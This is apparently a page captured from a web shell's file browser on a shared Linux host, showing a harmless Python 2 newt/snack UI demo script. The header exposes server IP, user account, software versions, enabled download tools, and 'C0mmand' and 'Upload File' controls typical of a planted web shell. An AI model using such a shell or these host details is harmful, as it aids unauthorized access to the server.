Server IP : 111.118.215.189 / Your IP : 216.73.216.185 Web Server : Apache System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : a1673wkz ( 2475) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /usr/share/doc/newt-python-0.52.15/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
#!/usr/bin/python # Demo program to show use of python-newt module from snack import * screen = SnackScreen() li = Listbox(height = 3, width = 20, returnExit = 1) li.append("First", 1) li.append("Second", 2) li.append("Third", 3) rb = RadioBar(screen, (("This", "this", 0), ("Default", "default", 1), ("That", "that", 0))) bb = ButtonBar(screen, (("Ok", "ok"), ("Cancel", "cancel"))) ct = CheckboxTree(height = 5, scroll = 1) ct.append("Colors") ct.addItem("Red", (0, snackArgs['append'])) ct.addItem("Yellow", (0, snackArgs['append'])) ct.addItem("Blue", (0, snackArgs['append'])) ct.append("Flavors") ct.append("Numbers") ct.addItem("1", (2, snackArgs['append'])) ct.addItem("2", (2, snackArgs['append'])) ct.addItem("3", (2, snackArgs['append'])) ct.append("Names") ct.append("Months") ct.append("Events") g = GridForm(screen, "My Test", 1, 4) g.add(li, 0, 0) g.add(rb, 0, 1, (0, 1, 0, 1)) g.add(ct, 0, 2) g.add(bb, 0, 3, growx = 1) result = g.runOnce() screen.finish() print result print "listbox:", li.current() print "rb:", rb.getSelection() print "bb:", bb.buttonPressed(result) print "checkboxtree:", ct.getSelection()